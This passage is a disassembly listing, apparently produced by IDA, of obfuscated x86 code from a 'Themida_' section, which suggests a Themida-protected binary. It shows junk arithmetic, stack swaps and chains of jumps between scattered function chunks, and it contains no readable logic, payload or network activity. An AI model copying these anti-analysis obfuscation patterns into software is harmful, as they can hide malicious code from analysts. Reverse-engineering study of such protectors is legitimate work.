		add	ebx, 0FFFFFFFFh
		xchg	ebx, ecx
		jmp	loc_572065
; END OF FUNCTION CHUNK	FOR sub_5713A7

; =============== S U B	R O U T	I N E =======================================



sub_56FA44	proc near		; DATA XREF: Themida_:0055FF28o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= word ptr  4

; FUNCTION CHUNK AT 0056515C SIZE 00000031 BYTES
; FUNCTION CHUNK AT 0056957C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056B5B9 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056C28C SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056CD88 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0056F348 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056FE9B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056FED3 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005705BC SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0057294B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00572D3F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0057344A SIZE 0000000F BYTES

		mov	cx, [esp+0]
		push	74EAh
		mov	[esp+4+var_4], ecx
		push	esp
		pop	ecx
		push	51E8h
		jmp	loc_56C28C
sub_56FA44	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572DD7


loc_56FA5C:				; CODE XREF: sub_572DD7-16F4j
		add	esi, 4
		xor	esi, [esp+0Ch+var_C]
		xor	[esp+0Ch+var_C], esi
		xor	esi, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		push	esi
		mov	esi, esp
		jmp	loc_561C2C
; END OF FUNCTION CHUNK	FOR sub_572DD7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56A7FB


loc_56FA76:				; CODE XREF: sub_56A7FB-8DC0j
		xor	bl, al
		jmp	loc_570719
; END OF FUNCTION CHUNK	FOR sub_56A7FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5753A5


loc_56FA7D:				; CODE XREF: sub_5753A5-ABD9j
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+4+var_4]
		pop	esp
		mov	[esp+0], edx
		push	eax
		mov	eax, 2
		mov	edx, eax
		mov	eax, [esp+4+var_4]
		jmp	loc_563612
; END OF FUNCTION CHUNK	FOR sub_5753A5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564746


loc_56FAA0:				; CODE XREF: sub_564746+6C01j
		or	ah, 0FCh
		xor	ah, 0F1h
		sub	cl, ah
		pop	eax
		jmp	sub_56626B
; END OF FUNCTION CHUNK	FOR sub_564746
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572669


loc_56FAAE:				; CODE XREF: sub_572669-A122j
		mov	esp, [esp+0]
		mov	[esp+0], ebx
		jmp	loc_561DDC
; END OF FUNCTION CHUNK	FOR sub_572669
; ---------------------------------------------------------------------------


loc_56FAB9:				; CODE XREF: Themida_:005711CAj
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], esp
		push	ebp
		mov	ebp, 5A683AF7h
		dec	ebp
		jmp	loc_5615F2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57549C


loc_56FAD1:				; CODE XREF: sub_57549C-2351j
		mov	esi, 35F36CE1h
		jmp	loc_571FA6
; END OF FUNCTION CHUNK	FOR sub_57549C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562BA0


loc_56FADB:				; CODE XREF: sub_562BA0+Bj
		mov	eax, esp
		jmp	loc_56C33E
; END OF FUNCTION CHUNK	FOR sub_562BA0

; =============== S U B	R O U T	I N E =======================================



sub_56FAE2	proc near		; CODE XREF: sub_564B0B+6490j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00565991 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056907A SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0056AA71 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00572412 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0057430C SIZE 00000009 BYTES

		push	ebx
		mov	ebx, edx
		mov	ebp, ebx
		pop	ebx
		pop	edx
		sub	ebp, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp-0Ah+arg_4+2], edx
		jmp	loc_565991
sub_56FAE2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561541


loc_56FAF7:				; CODE XREF: sub_561541+6AF0j
		push	esi
		jmp	loc_568C62
; END OF FUNCTION CHUNK	FOR sub_561541
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_56FAFD:				; CODE XREF: sub_564D26-4BF4j
		add	ecx, 1A65219Ch
		pop	ebx
		sub	esp, 4
		jmp	loc_564A49
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56CC46


loc_56FB0C:				; CODE XREF: sub_56CC46+4DC2j
		sub	edx, 5A641A0h
		push	dword ptr [esp+0]
		pop	ebp
		jmp	sub_56421E
; END OF FUNCTION CHUNK	FOR sub_56CC46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561F05


loc_56FB1B:				; CODE XREF: sub_561F05+D58Ej
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+8+var_8]
		pop	esp
		push	edx
		mov	edx, 2189308Ch
		jmp	loc_5640D6
; END OF FUNCTION CHUNK	FOR sub_561F05
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561979


loc_56FB34:				; CODE XREF: sub_561979+1EE8j
		sub	esi, 4
		xchg	esi, [esp-4+arg_0]
		pop	esp
		mov	[esp-8+arg_4], ecx
		jmp	sub_569AB3
; END OF FUNCTION CHUNK	FOR sub_561979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_573A8F


loc_56FB43:				; CODE XREF: sub_573A8F+9j
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_573A8F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5604FE


loc_56FB48:				; CODE XREF: sub_5604FE+9120j
		mov	[esp+4+var_4], ecx
		push	esp
		jmp	loc_56FEA3
; END OF FUNCTION CHUNK	FOR sub_5604FE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5620B7


loc_56FB51:				; CODE XREF: sub_5620B7+4935j
		pop	esi
		add	edx, edi
		jmp	sub_5609A1
; END OF FUNCTION CHUNK	FOR sub_5620B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56651E


loc_56FB59:				; CODE XREF: sub_56651E+A70Aj
		add	edi, ebp
		jmp	loc_567152
; END OF FUNCTION CHUNK	FOR sub_56651E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574000


loc_56FB60:				; CODE XREF: sub_574000-29C7j
		mov	[esp+10h+var_10], ebp
		mov	ebp, 0F7C3FB2h
		xor	ebp, 0F7C3FB6h
		sub	esi, 7C0B13F5h
		add	esi, ebp
		jmp	loc_56A455
; END OF FUNCTION CHUNK	FOR sub_574000
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572075


loc_56FB7B:				; CODE XREF: sub_572075-4DCFj
		pop	ebp
		xor	eax, ebp
		pop	ebp
		sub	ebp, 4CAF1E19h
		jmp	loc_569C2F
; END OF FUNCTION CHUNK	FOR sub_572075

; =============== S U B	R O U T	I N E =======================================



sub_56FB8A	proc near		; CODE XREF: sub_5666C3-3769j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00560B04 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005632B5 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00563714 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00563A8A SIZE 00000026 BYTES
; FUNCTION CHUNK AT 005643AB SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00565464 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00565A3A SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00565E38 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 005663CD SIZE 0000002B BYTES
; FUNCTION CHUNK AT 005664C1 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005687CB SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056899F SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00568CC5 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00569E0A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056A186 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056A729 SIZE 0000003A BYTES
; FUNCTION CHUNK AT 0056AC07 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0056B4BD SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056BB59 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056BC2D SIZE 00000034 BYTES
; FUNCTION CHUNK AT 0056CDBD SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056E330 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056ED53 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056EE5F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00571B81 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00571F22 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005745C1 SIZE 0000000E BYTES

		push	ebp
		mov	ebp, 78EB7961h
		jmp	loc_565E38
sub_56FB8A	endp

; ---------------------------------------------------------------------------


loc_56FB95:				; CODE XREF: Themida_:0056EA0Dj
		add	esp, 4
		xor	esi, ecx
		pop	ecx
		shr	esi, 6
		shl	esi, 4
		push	eax
		mov	eax, 0E4CF74C4h
		add	esi, eax
		pop	eax
		mov	edi, esi
		push	dword ptr [esp]
		jmp	loc_56E68B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_56FBB4:				; CODE XREF: sub_564D26+4976j
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+24h+var_24]
		pop	esp
		mov	[esp+20h+var_20], eax
		mov	eax, 2DEBF8C6h
		sub	edi, eax
		mov	eax, [esp+20h+var_20]
		add	esp, 4
		push	edi
		push	edi
		mov	edi, 4F381B7Dh
		sub	[esp+24h+var_20], edi
		pop	edi
		pop	edx
		jmp	loc_5617D4
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562676


loc_56FBEB:				; CODE XREF: sub_562676+C59j
		add	esi, ecx
		add	esi, 73B9287Ah
		add	esi, 7B574708h
		mov	ecx, [esp+8+var_8]
		push	ebp
		jmp	sub_561B55
; END OF FUNCTION CHUNK	FOR sub_562676
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5678CB


loc_56FC02:				; CODE XREF: sub_5678CB-4421j
		push	esi
		mov	esi, 0CA05124h
		and	esi, 775D435Dh
		neg	esi
		add	esi, 7F8D8AC2h
		mov	ebx, esi
		pop	esi
		jmp	loc_574B21
; END OF FUNCTION CHUNK	FOR sub_5678CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5753A5


loc_56FC1E:				; CODE XREF: sub_5753A5-3D2Dj
		add	ebp, 4
		push	eax
		mov	eax, 0D046E8Ah
		neg	eax
		sub	esp, 4
		mov	[esp+0Ch+var_C], esi
		mov	esi, 42D0277Ah
		neg	esi
		jmp	loc_56274A
; END OF FUNCTION CHUNK	FOR sub_5753A5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B1DC


loc_56FC3E:				; CODE XREF: sub_56B1DC-42D8j
		or	esi, 4E8075C1h
		add	esi, 300C8039h
		add	eax, esi
		pop	esi
		add	eax, 4
		push	eax
		push	[esp+8+var_4]
		mov	eax, [esp+0Ch+var_C]
		jmp	loc_560F33
; END OF FUNCTION CHUNK	FOR sub_56B1DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D359


loc_56FC5D:				; CODE XREF: sub_56D359-5C3Aj
		add	esp, 4
		push	esi
		mov	esi, 4
		add	eax, esi
		push	[esp+0Ch+var_C]
		jmp	loc_57332D
; END OF FUNCTION CHUNK	FOR sub_56D359
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570732


loc_56FC70:				; CODE XREF: sub_570732-5298j
		mov	[esp+10h+var_10], ecx
		mov	ecx, 4
		sub	edi, 25475B2h
		jmp	loc_56DDEB
; ---------------------------------------------------------------------------


loc_56FC83:				; CODE XREF: sub_570732-33ABj
		push	[esp+0Ch+var_C]
		pop	ebp
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_56EB67
; END OF FUNCTION CHUNK	FOR sub_570732
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56A119


loc_56FC95:				; CODE XREF: sub_56A119+6E46j
		add	edi, 4
		jmp	loc_56304F
; END OF FUNCTION CHUNK	FOR sub_56A119
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5687A3


loc_56FCA0:				; CODE XREF: sub_5687A3+3j
		mov	[esp+4+var_4], ebp
		mov	ebp, esp
		push	ecx
		jmp	loc_565F16
; END OF FUNCTION CHUNK	FOR sub_5687A3
; ---------------------------------------------------------------------------


loc_56FCAB:				; CODE XREF: Themida_:0056B3A5j
		add	edi, esi
		mov	esi, [esp]
		jmp	loc_56F882
; ---------------------------------------------------------------------------


loc_56FCB5:				; CODE XREF: Themida_:005736E7j
		push	eax
		mov	eax, 48C05753h
		mov	edx, eax
		pop	eax
		push	ebx
		jmp	loc_5712D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5745B5


loc_56FCC4:				; CODE XREF: sub_5745B5-536Fj
		mov	bh, ch
		jmp	loc_57490F
; END OF FUNCTION CHUNK	FOR sub_5745B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563BCC


loc_56FCCB:				; CODE XREF: sub_563BCC+8D63j
		add	edi, 71DB0137h
		pop	edx
		jmp	sub_574656
; END OF FUNCTION CHUNK	FOR sub_563BCC

; =============== S U B	R O U T	I N E =======================================



sub_56FCD7	proc near		; CODE XREF: sub_56D4B8-98BAj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00561EF3 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056524E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00565502 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00566A9E SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005676AD SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00567BA7 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00568F10 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056B1AD SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0056B6C1 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056F265 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00573D7F SIZE 00000011 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edx
		mov	edx, esp
		push	esi
		push	edi
		mov	edi, 4
		mov	esi, edi
		jmp	loc_56B6C1
sub_56FCD7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_56FCF0:				; CODE XREF: sub_561418+ECF8j
		mov	edi, [esp+0]
		add	esp, 4
		or	esi, 8E325F4h
		add	esi, 1CEE171Dh
		sub	ecx, esi
		mov	esi, [esp-4+arg_0]
		jmp	loc_57402D
; END OF FUNCTION CHUNK	FOR sub_561418
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56628B


loc_56FD0F:				; CODE XREF: sub_56628B+AFA3j
		xor	[esp+10h+var_C], edx
		pop	edx
		mov	ecx, [esp+0Ch+var_C]
		add	esp, 4
		xor	ecx, 0FE7088Bh
		pop	edi
		jmp	sub_565B6E
; END OF FUNCTION CHUNK	FOR sub_56628B
; ---------------------------------------------------------------------------


loc_56FD26:				; CODE XREF: Themida_:00561121j
		xor	edi, [esp]
		mov	esp, [esp]
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_55FF9F

; =============== S U B	R O U T	I N E =======================================



sub_56FD38	proc near		; DATA XREF: Themida_:0055FED8o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0056020F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005603D7 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005631AE SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00566E8A SIZE 00000031 BYTES
; FUNCTION CHUNK AT 0056A70C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056AD5D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056C754 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056DD73 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056F968 SIZE 0000001A BYTES

		push	dword ptr [esp+0]
		jmp	loc_56020F
sub_56FD38	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561F05


loc_56FD40:				; CODE XREF: sub_561F05+D1D8j
		sub	ebp, esi
		jmp	loc_5651AD
; END OF FUNCTION CHUNK	FOR sub_561F05
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_56FD47:				; CODE XREF: sub_561418+776Aj
		sub	ecx, edx
		jmp	loc_5694EA
; END OF FUNCTION CHUNK	FOR sub_561418
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_573A7F


loc_56FD4E:				; CODE XREF: sub_573A7F-10932j
		push	edi
		jmp	loc_56C5C1
; END OF FUNCTION CHUNK	FOR sub_573A7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_56FD54:				; CODE XREF: sub_57354D-130B3j
		mov	ebx, 4
		jmp	loc_56E2F9
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56102D


loc_56FD5E:				; CODE XREF: sub_56102D+4789j
		add	ebx, 32668414h
		add	ebp, 446D2D6Fh
		jmp	loc_562B7E
; END OF FUNCTION CHUNK	FOR sub_56102D

; =============== S U B	R O U T	I N E =======================================



sub_56FD6F	proc near		; CODE XREF: sub_569186+8j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00561560 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00562DD0 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056968C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056D06B SIZE 0000000F BYTES

		sub	esp, 4
		mov	[esp+4+var_4], esp
		add	[esp+4+var_4], 4
		pop	eax
		add	eax, 4
		jmp	loc_56D06B
sub_56FD6F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57146D


loc_56FD84:				; CODE XREF: sub_57146D-3C37j
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+0Eh+var_10+2]
		jmp	loc_56ACD5
; END OF FUNCTION CHUNK	FOR sub_57146D

; =============== S U B	R O U T	I N E =======================================



sub_56FD97	proc near		; CODE XREF: sub_560844+8906j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00560145 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056089C SIZE 0000003E BYTES
; FUNCTION CHUNK AT 00562A1A SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00565A07 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00565E03 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00569D6D SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056B3AA SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056DCDA SIZE 00000019 BYTES

		push	ebx
		mov	ebx, 0AC319BCh
		inc	ebx
		sub	ebx, 0BD02A339h
		mov	ebp, ebx
		pop	ebx
		sub	ebp, esi
		pop	esi
		sub	eax, ebp
		pop	ebp
		jmp	loc_569D6D
sub_56FD97	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568764


loc_56FDB2:				; CODE XREF: sub_568764+3201j
		add	ecx, 4
		jmp	loc_5705F8
; END OF FUNCTION CHUNK	FOR sub_568764
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572075


loc_56FDBA:				; CODE XREF: sub_572075-598j
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_572075
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567B29


loc_56FDBF:				; CODE XREF: sub_567B29+5EDBj
		add	edx, 4
		xchg	edx, [esp+4+var_4]
		pop	esp
		push	edx
		push	1D7Bh
		mov	[esp+8+var_8], eax
		push	7BBh
		jmp	loc_56A07E
; END OF FUNCTION CHUNK	FOR sub_567B29
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56DFF9


loc_56FDD9:				; CODE XREF: sub_56DFF9+2Ej
		mov	esp, [esp+8+var_8]
		mov	[esp+0], ecx
		jmp	loc_564699
; END OF FUNCTION CHUNK	FOR sub_56DFF9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57146D


loc_56FDE4:				; CODE XREF: sub_57146D-BC3Aj
		push	508Ah
		mov	[esp+0Ah+var_C+2], eax
		mov	ah, 75h
		mov	dl, 95h
		jmp	loc_56E179
; END OF FUNCTION CHUNK	FOR sub_57146D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570732


loc_56FDF5:				; CODE XREF: sub_570732-9D1Dj
		mov	edx, [esp+4+var_4]
		add	esp, 4
		push	esi
		mov	esi, 4
		add	ebp, esi
		jmp	loc_56562C
; END OF FUNCTION CHUNK	FOR sub_570732
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56A423


loc_56FE08:				; CODE XREF: sub_56A423+1Dj
		neg	ecx
		push	49B5h
		mov	[esp+10h+var_10], edx
		jmp	loc_572A39
; END OF FUNCTION CHUNK	FOR sub_56A423
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_56FE17:				; CODE XREF: sub_564D26+6582j
		mov	ecx, [esp+1Ch+var_1C]
		add	esp, 4
		and	ecx, 437D160Fh
		xor	ecx, 721D751Eh
		push	ecx
		xor	[esp+1Ch+var_1C], 210E6A74h
		pop	edx
		jmp	loc_56C891
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56626B


loc_56FE37:				; CODE XREF: sub_56626B+82F1j
		push	dword ptr [esp+0]
		pop	ecx
		jmp	sub_56671D
; END OF FUNCTION CHUNK	FOR sub_56626B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56F1DB


loc_56FE40:				; CODE XREF: sub_56F1DB-62DDj
		sub	ebp, 0EAF99E92h
		add	ebx, ebp
		jmp	loc_56953E
; END OF FUNCTION CHUNK	FOR sub_56F1DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56DBB0


loc_56FE4D:				; CODE XREF: sub_56DBB0-C5EDj
		mov	edi, 6B3E5282h
		add	ebx, edi
		pop	edi
		pop	edx
		sub	ebx, eax
		push	edi
		push	eax
		jmp	loc_56CCC0
; END OF FUNCTION CHUNK	FOR sub_56DBB0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561826


loc_56FE5F:				; CODE XREF: sub_561826+6062j
		mov	[esp+2+var_2], bx
		mov	bp, [esp+2+var_2]
		push	616Ah
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_56550B
; END OF FUNCTION CHUNK	FOR sub_561826
; ---------------------------------------------------------------------------


loc_56FE76:				; CODE XREF: Themida_:005735F4j
		and	edi, esi
		pop	esi
		push	eax
		jmp	loc_5678BA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5747FA


loc_56FE7F:				; CODE XREF: sub_5747FA-143FDj
		add	eax, edi
		add	eax, 73D75CB8h
		add	eax, 24F96C1Ah
		pop	edi
		xor	eax, [esp-4+arg_0]
		xor	[esp-4+arg_0], eax
		xor	eax, [esp-4+arg_0]
		pop	esp
		jmp	loc_573945
; END OF FUNCTION CHUNK	FOR sub_5747FA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FA44


loc_56FE9B:				; CODE XREF: sub_56FA44+2F10j
		add	esp, 4
		jmp	loc_56FED3
; END OF FUNCTION CHUNK	FOR sub_56FA44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5604FE


loc_56FEA3:				; CODE XREF: sub_5604FE+F64Ej
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		sub	esp, 4
		mov	[esp+8+var_8], ecx
		push	[esp+8+var_4]
		jmp	loc_569572
; END OF FUNCTION CHUNK	FOR sub_5604FE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_573612


loc_56FEBF:				; CODE XREF: sub_573612-EC0Dj
		xchg	esi, [esp+10h+var_10]
		pop	esp
		jmp	loc_56D5B6
; END OF FUNCTION CHUNK	FOR sub_573612
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5685B2


loc_56FEC8:				; CODE XREF: sub_5685B2+7D4Ej
		add	esi, 117F2F96h
		jmp	loc_56CA5B
; END OF FUNCTION CHUNK	FOR sub_5685B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FA44


loc_56FED3:				; CODE XREF: sub_56FA44+45Aj
		add	esp, 4
		xchg	ecx, [esp+0]
		jmp	loc_56F348
; END OF FUNCTION CHUNK	FOR sub_56FA44
; ---------------------------------------------------------------------------


loc_56FEE1:				; CODE XREF: Themida_:005640EDj
		push	edi
		mov	edi, 1ED3296Dh
		xor	[esp+4], edi
		pop	edi
		push	dword ptr [esp]
		jmp	loc_56A1FF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560CF1


loc_56FEF4:				; CODE XREF: sub_560CF1+1319Cj
		push	esp
		push	[esp+10h+var_10]
		jmp	loc_56568B
; END OF FUNCTION CHUNK	FOR sub_560CF1
; ---------------------------------------------------------------------------


loc_56FEFD:				; CODE XREF: Themida_:005666BEj
		pop	ebp
		push	ebx
		mov	ebx, 537063B5h
		inc	ebx
		add	ebx, 1EC7047Ch
		inc	ebx
		not	ebx
		dec	ebx
		jmp	loc_57331E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565A8D


loc_56FF14:				; CODE XREF: sub_565A8D+F6F6j
		pop	edx
		add	edx, 4
		jmp	loc_569D16
; END OF FUNCTION CHUNK	FOR sub_565A8D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566400


loc_56FF20:				; CODE XREF: sub_566400+2049j
		push	3A2913E8h
		pop	edi
		jmp	loc_5627EA
; END OF FUNCTION CHUNK	FOR sub_566400
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566DC7


loc_56FF2B:				; CODE XREF: sub_566DC7+73D1j
		xor	[esp+8+var_8], esi
		xor	esi, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		add	[esp+8+var_8], eax
		pushf
		jmp	loc_562EE4
; END OF FUNCTION CHUNK	FOR sub_566DC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571890


loc_56FF3D:				; CODE XREF: sub_571890-10F9j
		push	esp
		jmp	loc_5614F7
; END OF FUNCTION CHUNK	FOR sub_571890
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_56FF43:				; CODE XREF: sub_564D26+C7B0j
		mov	[esp+8+var_8], edi
		mov	edi, esp
		sub	esp, 4
		jmp	loc_5627F4
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5685B2


loc_56FF53:				; CODE XREF: sub_5685B2-5928j
		pop	ecx
		jmp	sub_563BCC
; END OF FUNCTION CHUNK	FOR sub_5685B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570621


loc_56FF59:				; CODE XREF: sub_570621-8074j
		xor	edi, [esp+4+var_4]
		pop	esp
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_570621
; ---------------------------------------------------------------------------


loc_56FF62:				; CODE XREF: Themida_:00572848j
		push	esi
		mov	esi, 3578707Bh
		push	edi
		jmp	loc_56EA05
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_56FF6E:				; CODE XREF: sub_564D26-2C9j
		sub	edx, 961A7AFEh
		jmp	loc_56D098
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5678CB


loc_56FF79:				; CODE XREF: sub_5678CB-4BD5j
		add	edi, 4A092687h
		sub	edi, 42C5B133h
		jmp	loc_57136E
; END OF FUNCTION CHUNK	FOR sub_5678CB
; ---------------------------------------------------------------------------
